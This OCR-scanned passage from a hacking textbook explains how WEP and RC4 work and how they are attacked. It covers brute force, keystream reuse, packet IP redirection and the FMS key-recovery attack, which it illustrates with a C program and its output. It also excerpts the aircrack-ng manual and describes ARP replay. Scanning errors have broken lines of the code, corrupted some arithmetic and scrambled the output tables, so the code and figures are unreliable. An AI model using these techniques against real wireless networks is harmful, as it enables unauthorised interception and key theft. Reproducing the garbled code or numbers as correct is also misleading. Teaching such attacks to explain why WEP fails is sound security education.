Of course, if WEP is turned on, only clients with the proper WEP key will be 
allowed to associate to the access point. If WEP is secure, there shouldn't be any 
concern about rogue attackers associating and causing havoc. This begs the 
question, "How secure is WEP?" 


Wired Equivalent Privacy 


WEP was meant to be an encryption method providing security equivalent to a 
wired access point. It was originally designed with 40-bit keys; later, WEP2 
came along to increase the key size to 104 bits. All of the encryption is done on a 
per-packet basis, so each packet is essentially a separate plaintext message to 
send. The packet will be called M. 


First, a checksum of message M is computed, so the message integrity can be 
checked later. This is done using a 32-bit cyclic redundancy checksum function 
aptly named CRC32. This checksum will be called CS, so CS = CRC32(M). This 
value is appended to the end of the message, which makes up the plaintext 


message P: 
Plaintext message P 





Figure 0x700-2. 


Now, the plaintext message needs to be encrypted. This is done using RC4, 
which is a stream cipher. This cipher, initialized with a seed value, can generate 
a keystream, which is just an arbitrarily long stream of pseudorandom bytes. 
WEP uses an initialization vector (IV) for the seed value. The IV consists of 24 
bits generated for each packet. Some older WEP implementations simply use 
sequential values for the IV, while others use some form of pseudo-randomizer. 


Regardless of how the 24 bits of IV are chosen, they are prepended to the WEP 
key. (These 24 bits of IV are included in the WEP key size in a bit of clever 
marketing spin; when a vendor talks about 64-bit or 128-bit WEP keys, the 
actual keys are only 40 bits and 104 bits, respectively, combined with 24 bits of 
IV.) The IV and the WEP key together make up the seed value, which will be 
called S. 


Seed value S 





Figure 0x700-3. 


Then the seed value S is fed into RC4, which will generate a keystream. This 


keystream is XORed with the plaintext message P to produce the ciphertext C. 
The IV is prepended to the ciphertext, and the whole thing is encapsulated with 
yet another header and sent out over the radio link. 








Figure 0x700-4. 


When the recipient receives a WEP-encrypted packet, the process is simply 
reversed. The recipient pulls the IV from the message and then concatenates the 
IV with his own WEP key to produce a seed value of S. If the sender and 
receiver both have the same WEP key, the seed values will be the same. This 
seed is fed into RC4 again to produce the same keystream, which is XORed with 
the rest of the encrypted message. This will produce the original plaintext 
message, consisting of the packet message M concatenated with the integrity 
checksum CS. The recipient then uses the same CRC32 function to recalculate 
the checksum for M and checks that the calculated value matches the received 
value of CS. If the checksums match, the packet is passed on. Otherwise, there 
were too many transmission errors or the WEP keys didn't match, and the packet 
is dropped. 


That's basically WEP in a nutshell. 


RC4 Stream Cipher 


RC4 is a surprisingly simple algorithm. It consists of two algorithms: the Key 
Scheduling Algorithm (KSA) and the PseudoRandom Generation Algorithm 
(PRGA). Both of these algorithms use an 8-by-8 S-box, which is just an array of 
256 numbers that are both unique and range in value from 0 to 255. Stated 
simply, all the numbers from 0 to 255 exist in the array, but they're all just mixed 
up in different ways. The KSA does the initial scrambling of the S-box, based on 
the seed value fed into it, and the seed can be up to 256 bits long. 


First, the S-box array is filled with sequential values from 0 to 255. This array 
will be aptly named S. Then, another 256-byte array is filled with the seed value, 
repeating as necessary until the entire array is filled. This array will be named K. 
Then the S array is scrambled using the following pseudo-code. 


j = 9; 
for i = O to 255 


j = (j + S[i] + K[i]) mod 256; 
swap S[i] and S[j]; 


Once that is done, the S-box is all mixed up based on the seed value. That's the 
key scheduling algorithm. Pretty simple. 


Now when keystream data is needed, the PseudoRandom Generation Algorithm 
(PRGA) is used. This algorithm has two counters, i and j, which are both 
initialized at © to begin with. After that, for each byte of keystream data, the 


following pseudo-code is used. 

i = (i + 1) mod 256; 

j = (j + S[i]) mod 256; 

swap S[i] and S[j]; 

t = (S[i] + S[j]) mod 256; 

Output the value of S[t]; 

The outputted byte of S[t] is the first byte of the keystream. This algorithm is 


repeated for additional keystream bytes. 


RC4 is simple enough that it can be easily memorized and implemented on the 
fly, and it is quite secure if used properly. However, there are a few problems 
with the way RC4 is used for WEP. 


WEP Attacks 


There are several problems with the security of WEP. In all fairness, it was never 
meant to be a strong cryptographic protocol, but rather a way to provide a wired 
equivalency, as alluded to by the acronym. Aside from the security weaknesses 
relating to association and identities, there are several problems with the 
cryptographic protocol itself. Some of these problems stem from the use of 
CRC32 as a checksum function for message integrity, and other problems stem 
from the way IVs are used. 


Offline BruteForce Attacks 


Brute forcing will always be a possible attack on any computationally secure 
cryptosystem. The only question that remains is whether it's a practical attack or 
not. With WEP, the actual method of offline brute forcing is simple: Capture a 
few packets, then try to decrypt the packets using every possible key. Next, 
recalculate the checksum for the packet, and compare this with the original 
checksum. If they match, then that's most likely the key. Usually, this needs to be 
done with at least two packets, since it's likely that a single packet can be 
decrypted with an invalid key yet the checksum will still be valid. 


However, under the assumption of 10,000 cracks per second, brute forcing 
through the 40-bit keyspace would take over three years. Realistically, modern 
processors can achieve more than 10,000 cracks per second, but even at 200,000 
cracks per second, this would take a few months. Depending on the resources 
and dedication of an attacker, this type of attack may or may not be feasible. 


Tim Newsham has provided an effective cracking method that attacks 
weaknesses in the password-based key-generation algorithm that is used by most 
40-bit (marketed as 64-bit) cards and access points. His method effectively 
reduces the 40-bit keyspace down to 21 bits, which can be cracked in a matter of 
minutes under the assumption of 10,000 cracks per second (and in a matter of 
seconds on a modern processor). More information on his methods can be found 


at http://www.lava.net/~newsham/wlan. 
For 104-bit (marketed as 128-bit) WEP networks, bruteforcing just isn't feasible. 


Keystream Reuse 


Another potential problem with WEP lies in keystream reuse. If two plaintexts 
(P ) are XORed with the same keystream to produce two separate ciphertexts 
(C), XORing those ciphertexts together will cancel out the keystream, resulting 
in the two plaintexts XORed with each other. 

C1 = P1 ® RC4(seed) 

Co = P2 ® RC4(seed) 

C1 ® Cp = [P1 ® RC4(seed)] © [P2 © RC4(seed)] = P1 ® P2 


From here, if one of the plaintexts is known, the other one can easily be 
recovered. In addition, since the plaintexts in this case are Internet packets with a 
known and fairly predictable structure, various techniques can be employed to 
recover both original plaintexts. 


The IV is intended to prevent these types of attacks; without it, every packet 
would be encrypted with the same keystream. If a different IV is used for each 
packet, the keystreams for packets will also be different. However, if the same 
IV is reused, both packets will be encrypted with the same keystream. This is a 
condition that is easy to detect, since the IVs are included in plaintext in the 
encrypted packets. Moreover, the IVs used for WEP are only 24 bits in length, 
which nearly guarantees that IVs will be reused. Assuming that IVs are chosen at 
random, statistically there should be a case of keystream reuse after just 5,000 
packets. 


This number seems surprisingly small due to a counterintuitive probabilistic 
phenomenon known as the birthday paradox. This paradox states that if 23 
people are in the same room, two of these people should share a birthday. With 
23 people, there are (23 - 22) 2, or 253, possible pairs. Each pair has a 
probability of success of 1365, or about 0.27 percent, which corresponds to a 
probability of failure of 1 — (1 / 365), or about 99.726 percent. By raising this 
probability to the power of 253, the overall probability of failure is shown to be 
about 49.95 percent, meaning that the probability of success is just a little over 
50 percent. 


This works the same way with IV collisions. With 5,000 packets, there are (5000 
- 4999) / 2, or 12,497,500, possible pairs. Each pair has a probability of failure of 
1 — (1 / 224). When this is raised to the power of the number of possible pairs, the 
overall probability of failure is about 47.5 percent, meaning that there's a 52.5 
percent chance of an IV collision with 5,000 packets: 


5, 000 - 4, 999 
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After an IV collision is discovered, some educated guesses about the structure of 
the plaintexts can be used to reveal the original plaintexts by XORing the two 
ciphertexts together. Also, if one of the plaintexts is known, the other plaintext 
can be recovered with a simple XORing. One method of obtaining known 
plaintexts might be through spam email, where the attacker sends the spam and 
the victim checks mail over the encrypted wireless connection. 


IV-Based Decryption Dictionary Tables 


After plaintexts are recovered for an intercepted message, the keystream for that 
IV will also be known. This means that this keystream can be used to decrypt 
any other packet with the same IV, providing it's not longer than the recovered 
keystream. Over time, it's possible to create a table of keystreams indexed by 
every possible IV. Since there are only 274 possible IVs, if 1,500 bytes of 
keystream are saved for each IV, the table would only require about 24GB of 
storage. Once a table like this is created, all subsequent encrypted packets can be 
easily decrypted. 


Realistically, this method of attack would be very time consuming and tedious. 
It's an interesting idea, but there are much easier ways to defeat WEP. 


IP Redirection 


Another way to decrypt encrypted packets is to trick the access point into doing 
all the work. Usually, wireless access points have some form of Internet 
connectivity, and if this is the case, an IP redirection attack is possible. First, an 
encrypted packet is captured, and the destination address is changed to an IP 
address the attacker controls, without decrypting the packet. Then, the modified 
packet is sent back to the wireless access point, which will decrypt the packet 
and send it right to the attacker's IP address. 


The packet modification is made possible due to the CRC32 checksum being a 
linear, unkeyed function. This means that the packet can be strategically 
modified and the checksum will still come out the same. 


This attack also assumes that the source and destination IP addresses are known. 
This information is easy enough to figure out, just based on the standard internal 
network IP addressing schemes. Also, a few cases of keystream reuse due to IV 
collisions can be used to determine the addresses. 


Once the destination IP address is known, this value can be XORed with the 
desired IP address, and this whole thing can be XORed into place in the 
encrypted packet. The XORing of the destination IP address will cancel out, 
leaving behind the desired IP address XORed with the keystream. Then, to 
ensure that the checksum stays the same, the source IP address must be 
strategically modified. 


For example, assume the source address is 192.168.2.57 and the destination 
address is 192.168.2.1. The attacker controls the address 123.45.67.89 and wants 
to redirect traffic there. These IP addresses exist in the packet in the binary form 
of high-and low-order 16-bit words. The conversion is fairly simple: 

Src IP = 192.168.2.57 

SH = 192 - 256 + 168 = 50344 

SL = 2 - 256 + 57 = 569 

Dst IP = 192.168.2.1 

DH = 192 - 256 + 168 = 50344 

DL=2- 256+ 1 = 513 

New IP = 123.45.67.89 

NH = 123 - 256 + 45 = 31533 

NL = 67 - 256 + 89 = 17241 


The checksum will be changed by Ny + N; — Dy - D}, so this value must be 


subtracted from somewhere else in the packet. Since the source address is also 
known and doesn't matter too much, the low-order 16-bit word of that IP address 


makes a good target: 

S'L = SL- (NH + NL—DH- DL) 

S'L = 569 — (31533 + 17241 — 50344 — 513) 
S'L = 2652 


The new source IP address should therefore be 192.168.10.92. The source IP 
address can be modified in the encrypted packet using the same XORing trick, 
and then the checksums should match. When the packet is sent to the wireless 
access point, the packet will be decrypted and sent to 123.45.67.89, where the 
attacker can retrieve it. 


If the attacker happens to have the ability to monitor packets on an entire class B 
network, the source address doesn't even need to be modified. Assuming the 
attacker had control over the entire 123.45.X.X IP range, the low-order 16-bit 
word of the IP address could be strategically chosen not to disturb the checksum. 
If NL = DH + DL — NH, the checksum won't be changed. 


Here's an example: 
NL = DH + DL - NH 

NL = 50,344 + 513 — 31,533 
N'L = 82390 


The new destination IP address should be 123.45.75.124. 


Fluhrer, Mantin, and Shamir Attack 


The Fluhrer, Mantin, and Shamir (FMS) attack is the most commonly used 
attack against WEP, popularized by tools such as AirSnort. This attack is really 
quite amazing. It takes advantage of weaknesses in the keyscheduling algorithm 
of RC4 and the use of IVs. 


There are weak IV values that leak information about the secret key in the first 
byte of the keystream. Since the same key is used over and over with different 
IVs, if enough packets with weak IVs are collected, and the first byte of the 
keystream is known, the key can be determined. Luckily, the first byte of an 
802.11b packet is the snap header, which is almost always 0xAA. This means the 
first byte of the keystream can be easily obtained by XORing the first encrypted 
byte with OxAA. 


Next, weak IVs need to be located. IVs for WEP are 24 bits, which translates to 
three bytes. Weak IVs are in the form of (A + 3, N — 1, X), where A is the byte of 
the key to be attacked, N is 256 (since RC4 works in modulo 256), and X can be 
any value. So, if the zeroth byte of the keystream is being attacked, there would 
be 256 weak IVs in the form of (3, 255, X), where Xranges from 0 to 255. The 
bytes of the keystream must be attacked in order, so the first byte cannot be 
attacked until the zeroth byte is known. 


The algorithm itself is pretty simple. First, it performs A + 3 steps of the Key 
Scheduling Algorithm (KSA). This can be done without knowing the key, since 
the IV will occupy the first three bytes of the K array. If the zeroth byte of the 
key is known and A equals 1, the KSA can be worked to the fourth step, since 
the first four bytes of the K array will be known. 


At this point, if SLO] or S[1] have been disturbed by the last step, the entire 
attempt should be discarded. More simply stated, if j is less than 2, the attempt 
should be discarded. Otherwise, take the value of j and the value of S[A + 3], and 
subtract both of these from the first keystream byte (modulo 256, of course). 
This value will be the correct key byte about 5 percent of the time and 
effectively random less than 95 percent of the time. If this is done with enough 
weak IVs (with varying values for X), the correct key byte can be determined. It 
takes about 60 IVs to bring the probability above 50 percent. After one key byte 
is determined, the whole process can be done again to determine the next key 
byte, until the entire key is revealed. 


For the sake of demonstration, RC4 will be scaled back so N equals 16 instead of 
256. This means that everything is modulo 16 instead of 256, and all the arrays 
are 16 "bytes" consisting of 4 bits, instead of 256 actual bytes. 


Assuming the key is (1, 2, 3, 4, 5), and the zeroth key byte will be attacked, A 
equals 0. This means the weak IVs should be in the form of (3, 15, X). In this 
example, X will equal 2, so the seed value will be (3, 15, 2, 1, 2, 3, 4, 5). Using 
this seed, the first byte of keystream output will be 9. 

output = 9 

A=0 

IV =3, 15, 2 

Key = 1, 2,3, 4,5 

Seed = IV concatenated with the key 

Ki] =3152XXXXX3152XXXXX 

S =012345678910 11 1213 1415 


Since the key is currently unknown, the K array is loaded up with what currently 
is known, and the S array is filled with sequential values from 0 to 15. Then, j is 

initialized to 0, and the first three steps of the KSA are done. Remember that all 

math is done modulo 16. 


KSA step one: 

i=0 

j=j + Sli] + Kli] 

j=0+0+3=3 

Swap S/i] and S[j] 

Ki] =3152XXXXX3152XXXXX 
S[]=3120456789 10 1112131415 


KSA step two: 

i=1 

j=j + Sli] + Kfi] 

j=3+1+15=3 

Swap S/i] and S[j] 

Ki] =3152XXXXX3152XXXXX 
SU =3021456789101112131415 


KSA step three: 

i=2 

j=j + Sli] + KliJ 

j=3+2+2=7 

Swap S/i] and S[j] 

Ki] =3152XXXXX3152XXXXX 
S[=3071456289 10 11 1213 1415 


At this point, j isn't less than 2, so the process can continue. S[3] is 1, j is 7, and 
the first byte of keystream output was 9. So the zeroth byte of the key should be 


9-7-1=1. 


This information can be used to determine the next byte of the key, using IVs in 
the form of (4, 15, X) and working the KSA through to the fourth step. Using the 
IV (4, 15, 9), the first byte of keystream is 6. 


output = 6 

A=0 

IV =4, 15,9 

Key = 1, 2,3,4,5 

Seed = IV concatenated with the key 
K[]=41591XXXX41591XXXX 
SH} =0123456789 10 11 12 13 1415 


KSA step one: 

i=0 

j=j + Sli] + Kfi] 

j=0+0+4=4 

Swap S/i] and S[j] 
K[]=41591XXXX41591XXXX 
S[]=4123056789 10 1112131415 


KSA step two: 

i=1 

j=j + Sli] + Kli] 

j=4+1+15=4 

Swap S/i] and S[j] 
KU)=41591XXXX41591XXXX 
SH =4023156789101112 131415 


KSA step three: 

i=2 

j=j + Sli] + Kfi] 

j=4+2+9=15 

Swap Sli] and S[j] 
KU]=41591XXXX41591XXXX 
S[]=4015315678910 11 12 13142 


KSA step four: 

i=3 

j=j + Sli] + K[i] 

j=15+3+1=3 

Swap S/i] and S[j] 

Ki] =41591XXXX41591XXXX 
S[]=4015315678910 11 12 13142 
output -j — S[4] = key[1] 

6-3-1=2 


Again, the correct key byte is determined. Of course, for the sake of 
demonstration, values for X have been strategically picked. To give you a true 


sense of the statistical nature of the attack against a full RC4 implementation, the 
following source code has been included: 


fms.c 


#include <stdio.h> 


/* RC4 stream cipher */ 
int RC4(int *IV, int *key) { 
int K[256]; 
int S[256]; 
int seed[16]; 
int i, j, k, t; 


//Seed = IV + key; 

for(k=0; k<3; k++) 
seed[k] = IV[k]; 

for(k=0; k<13; k++) 
seed[k+3] = key[k]; 


// -= Key Scheduling Algorithm (KSA) =- 
//Initialize the arrays. 
for(k=0; k<256; k++) { 
S[k] ; 
K[k] 


seed[k%16]; 
} 
j=0; 
for(i=0; i < 256; i++) { 
j = (j + S[i] + K[i])%256; 
t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]); 


// First step of PRGA for first keystream byte 


i = 0; 

j = 0; 

> St a 

j = j + S[il; 


t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]); 
k = (S[i] + S[j])%256; 


return S[k]; 
} 


int main(int argc, char *argv[]) { 
int K[256]; 
int S[256]; 


int IV[3]; 

int key[13] = {1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213}; 
int seed[16]; 

int N = 256; 

int i, j, k, t, x, A; 

int keystream, keybyte; 


int max_result, max_count; 
int results[256]; 


int known_j, known_S; 


if(arge < 2) { 
printf("Usage: %s <keybyte to attack>\n", argv[0]); 
exit(0); 
} 
A = atoi(argv[1]); 
if((A > 12) || (A< 0)) { 
printf("keybyte must be from 0 to 12.\n"); 
exit(0); 
} 


for(k=0; k < 256; k++) 
results[k] = 0; 


IV[0] 
IV[1] 


A + 3; 
N - 1; 


for(x=0; x < 256; x++) { 
IV[2] = x; 


keystream = RC4(IV, key); 
printf("Using IV: (%d, %d, %d), first keystream byte is %u\n", 
Iv[@], Iv[1], IV[2], keystream); 


printf("Doing the first %d steps of KSA.. ", A+3); 


//Seed = IV + key; 

for(k=0; k<3; k++) 
seed[k] = IV[k]; 

for(k=0; k<13; k++) 
seed[k+3] = key[k]; 


// -= Key Scheduling Algorithm (KSA) =- 
//Initialize the arrays. 
for(k=0; k<256; k++) { 


S[k] = k; 

K[k] = seed[k%16]; 
} 
j=0; 


for(i=0; i < (A + 3); itt) { 
j = (j + S[i] + K[i])%256; 


t = S[il; 
S[i] = S[j]; 
S[j] = t; 


} 


if(j <2) { // If j < 2, then S[0] or S[1] have been disturbed. 
printf ("S[0] or S[1] have been disturbed, discarding. .\n"); 
} else { 
known_j = j; 
known_S = S[A+3]; 
printf("at KSA iteration #%d, j=%d and S[%d]=%d\n", 
A+3, known_j, A+3, known_S); 
keybyte = keystream - known_j - known_S; 


while(keybyte < 0) 
keybyte = keybyte + 256; 
printf("key[%d] prediction = %d - %d - %d = %d\n", 
A, keystream, known_j, known_S, keybyte); 
results[keybyte] = results[keybyte] + 1; 


} 
max_result = -1; 
max_count = 0; 


for(k=0; k < 256; k++) { 
if(max_count < results[k]) { 
max_count = results[k]; 
max_result = k; 
a; 


} 
printf("\nFrequency table for key[%d] (* = most frequent)\n", A); 


for(k=0; k < 32; k++) { 
for(i=0; i < 8; i++) { 


t = k+i*32; 
if(max_result == t) 

printf("%3d %2d*| ", t, results[t]); 
else 


printf("%3d %2d | ", t, results[t]); 


} 
printf("\n"); 
} 


printf("\n[Actual Key] = ("); 

for(k=0; k < 12; k++) 
printf("%d, ",key[k]); 

printf("%d)\n", key[12]); 


printf("key[%d] is probably %d\n", A, max_result); 
} 


This code performs the FMS attack on 128-bit WEP (104-bit key, 24-bit IV), 
using every possible value of X. The key byte to attack is the only argument, and 
the key is hard-coded into the key array. The following output shows the 


compilation and execution of the fms.c code to crack an RC4 key. 
reader@hacking:~/booksrc $ gcc -o fms fms.c 

reader@hacking:~/booksrc $ ./fms 

Usage: ./fms <keybyte to attack> 

reader@hacking:~/booksrc $ ./fms 0 

Using IV: (3, 255, ©), first keystream byte is 7 

Doing the first 3 steps of KSA.. at KSA iteration #3, j=5 and S[3]=1 
key[Q] prediction =7-5-1=41 

Using IV: (3, 255, 1), first keystream byte is 211 

Doing the first 3 steps of KSA.. at KSA iteration #3, j=6 and S[3]=1 
key[Q] prediction = 211 - 6 - 1 = 204 

Using IV: (3, 255, 2), first keystream byte is 241 

Doing the first 3 steps of KSA.. at KSA iteration #3, j=7 and S[3]=1 
key[Q] prediction = 241 - 7 - 1 = 233 


.:[ output trimmed ]:. 


Using IV: (3, 255, 252), first keystream byte is 175 

Doing the first 3 steps of KSA.. S[0] or S[1] have been disturbed, 
discarding.. 

Using IV: (3, 255, 253), first keystream byte is 149 

Doing the first 3 steps of KSA.. at KSA iteration #3, j=2 and S[3]=1 
key[Q] prediction = 149 - 2 - 1 = 146 

Using IV: (3, 255, 254), first keystream byte is 253 

Doing the first 3 steps of KSA.. at KSA iteration #3, j=3 and S[3]=2 
key[Q] prediction = 253 - 3 - 2 = 248 

Using IV: (3, 255, 255), first keystream byte is 72 

Doing the first 3 steps of KSA.. at KSA iteration #3, j=4 and S[3]=1 
key[Q] prediction = 72 - 4 - 1 = 67 


Frequency table for key[0] 


© 1| 32 3| 64 © | 
110*| 33 0| 65 1 | 
2 0| 34 1| 6 0| 
3 1] 35 0| 67 2 | 
4 0| 36 0| 68 0| 
5 0| 37 1| 69 © | 
6 ©] 38 Oo| 70 1 | 
7 ©] 39 O| 71 2 | 
8 3 | 40 O| 72 1| 
9 1] 414 0| 73 0 | 
10 1 | 42 3] 74 1 | 
11 1| 43 2] 75 1 | 
12 0 | 44 1| 76 © | 
13 2| 45 2| 77 0 | 
14 © | 46 O| 78 2 | 
15 0| 47 3] 79 1 | 
16 1| 48 1] 80 1 | 
17 © | 49 Oo] 81 1 | 
18 1 | 50 © | 82 © | 
19 2 | 51 0] 83 0 | 
20 3 | 52 © | 84 8 | 
21 0 | 53 0] 85 1 | 
22 0 | 54 3] 86 3| 
23 2 | 55 O| 87 6 | 
24 1| 56 2] 88 3 | 
25 2| 57 2] 89 © | 
26 © | 58 ©] 90 @ | 
27 © | 59 2] 91 1 | 
28 2 | 60 1] 92 1 | 
29 1| 61 1] 93 1 | 
30 © | 62 1] 94 © | 
31 0 | 63 ©] 95 1 | 
[Actual Key] = (1, 2, 3, 


key[0] is probably 1 
reader@hacking:~/booksrc $ 


(4 
96 
97 
98 
99 

100 

101 

102 

103 

104 

105 

106 

107 

108 

109 

110 

111 

112 

113 

114 

115 

116 

117 

118 

119 

120 

121 

122 

123 

124 

125 

126 

127 
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ost frequent) 


| 128 2 | 160 © | 192 
| 129 1 | 161 1 | 193 
| 130 1 | 162 1 | 194 
| 131 1 | 163 © | 195 
| 132 0 | 164 © | 196 
| 133 © | 165 2 | 197 
| 134 2 | 166 1 | 198 
| 135 5 | 167 3 | 199 
| 136 1 | 168 © | 200 
| 137 2 | 169 1 | 201 
| 138 © | 170 1 | 202 
| 139 1 | 171 1 | 203 
| 140 2 | 172 1 | 204 
| 141 © | 173 2 | 205 
| 142 2 | 174 1 | 206 
| 143 1 | 175 © | 207 
| 144 2 | 176 © | 208 
| 145 1 | 177 1 | 209 
| 146 4 | 178 1 | 210 
| 147 1 | 179 © | 211 
| 148 2 | 180 2 | 212 
| 149 2 | 181 1 | 213 
| 150 2 | 182 2 | 214 
| 151 2 | 183 1 | 215 
| 152 2 | 184 1 | 216 
| 153 2 | 185 0 | 217 
| 154 1 | 186 1 | 218 
| 155 2 | 187 1 | 219 
| 156 © | 188 0 | 220 
| 157 © | 189 © | 221 
| 158 1 | 190 0 | 222 
| 159 © | 191 0 | 223 


reader@hacking:~/booksrc $ ./fms 12 


Using IV: 


Doing the first 15 steps of KSA.. 


key[12] prediction 
Using IV: 


81 - 251 - 1 
(15, 255, 1), first keystream byte is 80 


Doing the first 15 steps of KSA.. 


key[12] prediction 
Using IV: 


80 - 252 - 1 
(15, 255, 2), first keystream byte is 159 


Doing the first 15 steps of KSA.. 


key[12] prediction 
.:[ output trimmed ]:. 


Using IV: 


159 - 253 - 1 


(15, 255, 252), first keystream 


Doing the first 15 steps of KSA.. 


key[12] prediction 
Using IV: 


238 - 236 - 1 
(15, 255, 253), first keystream 


Doing the first 15 steps of KSA.. 


key[12] prediction 
Using IV: 


197 - 236 - 1 
(15, 255, 254), first keystream 


Doing the first 15 steps of KSA.. 


key[12] prediction 
Using IV: 


238 - 249 - 2 
(15, 255, 255), first keystream 


Doing the first 15 steps of KSA.. 


key[12] prediction 


176 - 250 - 1 


(15, 255, 0), first keystream byte is 81 


at KSA iteration #15, 
85 


at KSA iteration #15, 
83 


at KSA iteration #15, 
161 


byte is 238 


at KSA iteration #15, 


1 


byte is 197 


at KSA iteration #15, 


216 


byte is 238 


at KSA iteration #15, 


243 


byte is 176 


at KSA iteration #15, 


181 
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j=251 


j=252 


j=253 


j=236 


j=236 


j=249 


j=250 


224 
225 
226 
227 
228 
229 
230 
231 
232 
233 
234 
235 
236 
237 
238 
239 
240 
241 
242 
243 
244 
245 
246 
247 
248 
249 
250 
251 
252 
253 
254 
255 


4, 5, 66, 75, 123, 99, 100, 123, 43, 213) 


and 


and 


and 


and 


and 


and 


and 
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$[15]=1 


$[15]=1 


$[15]=1 


$[15]=1 


$[15]=1 


$[15]=2 


$[15]=1 


Frequency table for key[12] (* = most frequent) 


© 1| 32 O| 64 2] 96 © | 128 1 | 160 1 | 192 © | 224 2 | 
1 2| 33 1| 6 O| 97 2 |129 1 | 161 1 |193 © | 225 © | 
2 0|] 34 2| 6 2] 98 © | 130 2 | 162 3 | 194 2 | 226 ©] 
3 2| 35 O| 67 2] 99 2 |131 0 | 163 1 | 195 © | 227 5 | 
4 © | 36 © | 68 © | 100 1 |132 0 | 164 © | 196 1 | 228 1 | 
5 3| 37 0| 69 3 | 101 2 | 133 0 | 165 2 | 197 0 | 229 3 | 
6 1| 38 2| 70 2 | 102 © | 134 © | 166 2 | 198 © | 230 2 | 
7 2| 39 0 | 71 4 |103 © | 135 © | 167 3 | 199 1 | 231 1| 
8 1| 40 © | 72 © | 104 1 |136 1 | 168 2 | 200 © | 232 ©] 
9 ©] 41 1| 73 0 | 105 © | 137 1 | 169 1 | 201 1 | 233 1 | 
10 2 | 42 2| 74 © | 106 4 | 138 2 | 170 © | 202 1 | 234 © | 
11 3| 43 1| 75 © | 107 1 | 139 3 | 171 2 | 203 1 | 235 © | 
12 2 | 44 © | 76 © | 108 2 | 140 2 | 172 © | 204 © | 236 1 | 
13 © | 45 0| 77 © | 109 1 | 141 1 | 173 © | 205 2 | 237 4 | 
14 1 | 46 1| 78 1 | 110 © | 142 3 | 174 1 | 206 © | 238 1 | 
15 1| 47 2| 79 1 |111 © | 143 © | 175 1 | 207 2 | 239 © | 
16 2 | 48 © | 80 1 | 112 1 | 144 3 | 176 © | 208 © | 240 © | 
17 1 | 49 © | 81 © | 113 1 | 145 1 | 177 © | 209 © | 241 © | 
18 © | 50 2 | 82 © | 114 1 | 146 © | 178 © | 210 1 | 242 © | 
19 © | 51 © | 83 4 | 115 1 | 147 © | 179 1 | 211 4 | 243 2 | 
20 © | 52 1 | 84 1 | 116 4 | 148 © | 180 1 | 212 1 | 244 1 | 
21 © | 53 1 | 85 1 | 117 © | 149 2 | 181 1 | 213 12*| 245 1 | 
22 1 | 54 3 | 86 © | 118 © | 150 1 | 182 2 | 214 3 | 246 1 | 
23 © | 55 3 | 87 © | 119 1 | 151 © | 183 © | 215 © | 247 © | 
24 © | 56 1 | 88 © | 120 © | 152 2 | 184 © | 216 2 | 248 © | 
25 1 | 57 © | 89 O| 121 2 | 153 © | 185 2 | 217 1 | 249 © | 
26 1 | 58 © | 90 1 | 122 © | 154 1 | 186 © | 218 1 | 250 2 | 
27 2 | 59 14 | 91 1 | 123 © | 155 1 | 187 1 | 219 © | 251 2 | 
28 2 | 60 2| 92 1 |124 1 | 156 1 | 188 1 | 220 © | 252 © | 
29 1 | 61 1 | 93 3 | 125 2 | 157 2 | 189 2 | 221 © | 253 1 | 
30 © | 62 1 | 94 © |126 © | 158 1 | 190 1 | 222 1 | 254 2 | 
31 © | 63 © | 95 1 | 127 © | 159 © | 191 © | 223 2 | 255 © | 


[Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213) 

key[12] is probably 213 

reader@hacking:~/booksrc $ 

This type of attack has been so successful that a new wireless protocol called 
WPA should be used if you expect any form of security. However, there are still 
an amazing number of wireless networks only protected by WEP. Nowadays, 
there are fairly robust tools to perform WEP attacks. One notable example is 
aircrack, which has been included with the LiveCD; however, it requires 
wireless hardware, which you may not have. There is plenty of documentation 
on how to use this tool, which is in constant development. The first manual page 


should get you started. 
AIRCRACK-NG(1) AIRCRACK-NG(1) 


NAME 
aircrack-ng is a 802.11 WEP / WPA-PSK key cracker. 


SYNOPSIS 
aircrack-ng [options] <.cap / .ivs file(s)> 


DESCRIPTION 
aircrack-ng is a 802.11 WEP / WPA-PSK key cracker. It implements the so- 
called Fluhrer - Mantin - Shamir (FMS) attack, along with some new attacks 
by a talented hacker named KoreK. When enough encrypted packets have been 
gathered, aircrack-ng can almost instantly recover the WEP key. 


OPTIONS 
Common options: 


-a <amode> 
Force the attack mode, 1 or wep for WEP and 2 or wpa for WPA-PSK. 


-e <essid> 

Select the target network based on the ESSID. This option is also 

required for WPA cracking if the SSID is cloacked. 
Again, consult the Internet for hardware issues. This program popularized a 
clever technique for gathering IVs. Waiting to gather enough IVs from packets 
would take hours, or even days. But since wireless is still a network, there will 
be ARP traffic. Since WEP encryption doesn't modify the size of the packet, it's 
easy to pick out which ones are ARP. This attack captures an encrypted packet 
that is the size of an ARP request, and then replays it to the network thousands of 
times. Each time, the packet is decrypted and sent to the network, and a 
corresponding ARP reply is sent back out. These extra replies don't harm the 
network; however, they do generate a separate packet with a new IV. Using this 
technique of tickling the network, enough IVs to crack the WEP key can be 
gathered in just a few minutes. 


Chapter 0x800. CONCLUSION 


Hacking tends to be a misunderstood topic, and the media likes to sensationalize, 
which only exacerbates this condition. Changes in terminology have been mostly 
ineffective—what's needed is a change in mind-set. Hackers are just people with 
innovative spirits and an in-depth knowledge of technology. Hackers aren't 
necessarily criminals, though as long as crime has the potential to pay, there will 
always be some criminals who are hackers. There's nothing wrong with the 
hacker knowledge itself, despite its potential applications. 


Like it or not, vulnerabilities exist in the software and networks that the world 
depends on from day to day. It's simply an inevitable result of the fast pace of 
software development. New software is often successful at first, even if there are 
vulnerabilities. This success means money, which attracts criminals who learn 
how to exploit these vulnerabilities for financial gain. This seems like it would 
be an endless downward spiral, but fortunately, all the people finding the 
vulnerabilities in software are not just profit-driven, malicious criminals. These 
people are hackers, each with his or her own motives; some are driven by 
curiosity, others are paid for their work, still others just like the challenge, and 
several are, in fact, criminals. The majority of these people don't have malicious 
intent; instead, they help vendors fix their vulnerable software. Without hackers, 
the vulnerabilities and holes in software would remain undiscovered. 
Unfortunately, the legal system is slow and mostly ignorant with regard to 
technology. Often, draconian laws are passed and excessive sentences are given 
to try to scare people away from looking closely. This is childish logic— 
discouraging hackers from exploring and looking for vulnerabilities doesn't 
solve anything. Convincing everyone the emperor is wearing fancy new clothes 
doesn't change the reality that he's naked. Undiscovered vulnerabilities just lie in 
wait for someone much more malicious than an average hacker to discover them. 
The danger of software vulnerabilities is that the payload could be anything. 
Replicating Internet worms are relatively benign when compared to the 
